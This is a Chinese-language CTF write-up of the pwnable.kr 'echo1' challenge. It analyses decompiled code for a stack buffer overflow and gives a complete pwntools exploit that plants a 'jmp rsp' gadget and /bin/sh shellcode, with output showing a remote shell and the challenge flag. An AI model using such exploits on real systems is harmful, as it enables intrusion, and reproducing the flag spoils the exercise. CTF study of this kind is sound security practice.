https://r00tnb.github.io/2018/03/06/pwnable.kr-echo1/
前言
简单的栈溢出题目。
分析
先分析反编译的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | int __cdecl main(int argc, const char **argv, const char **envp) { int *v3; // rsi@1 _QWORD *v4; // rax@1 int v6; // [sp+Ch] [bp-24h]@1 _QWORD v7[4]; // [sp+10h] [bp-20h]@1 setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; *((_QWORD *)o + 4) = byebye; printf("hey, what's your name? : ", 0LL); v3 = (int *)v7; __isoc99_scanf("%24s", v7); v4 = o; *(_QWORD *)o = v7[0]; v4[1] = v7[1]; v4[2] = v7[2]; id = v7[0]; getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; v6 = 0; do { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> ", v3); v3 = &v6; __isoc99_scanf("%d", &v6); getchar(); if ( (unsigned int)v6 > 3 ) break; ((void (__fastcall *)(const char *, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])("%d", &v6); } if ( v6 == 4 ) break; puts("invalid menu"); } cleanup("%d", &v6); printf("Are you sure you want to exit? (y/n)"); v6 = getchar(); } while ( v6 != 121 ); puts("bye"); return 0; } |
1 2 3 4 5 6 7 8 9 10 | __int64 echo1() { char s; // [sp+0h] [bp-20h]@1 (*((void (__fastcall **)(_QWORD))o + 3))(o); get_input(&s, 128); puts(&s); (*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 128LL); return 0LL; } |
程序主要逻辑是给出三个选项,每个选项都会执行一个echo
函数,但是本题只实现了第一个echo
函数。
分析echo1
函数可以发现,它存在栈溢出漏洞。再看看保护
1 2 3 4 5 6 7 8 | root@1:~/桌面/test$ checksec echo1 [*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/echo1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments |
思路是在栈上布置shellcode
然后跳转到此处执行。但是程序没有泄漏地址的地方,这里观察到main函数中id
变量被赋予了v7[0]
,而这里的内容是可以控制的(他就是name
的前8字节)。于是可以通过在id
中写入jmp rsp
的指令来跳转到shellcode
处执行。下面是exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from pwn import * def work(DEBUG): context(arch='amd64',os='linux',log_level='info') if DEBUG: r = process('./echo1') else: r = remote('pwnable.kr',9010) id_addr = 0x6020a0 r.recvuntil(' : ') r.sendline(asm('jmp rsp')) r.recvuntil('> ') r.sendline('1') r.sendline('a'*0x28+p64(id_addr)+asm(shellcraft.sh())) r.interactive() work(False) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | root@1:~/桌面/test$ python 1.py [+] Opening connection to pwnable.kr on port 9010: Done [*] Switching to interactive mode hello \xff�aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa0 ` goodbye \xff� $ $ ls echo1 flag log super.pl $ cat flag H4d_som3_fun_w1th_ech0_ov3rfl0w $ |
总结
简单的栈溢出利用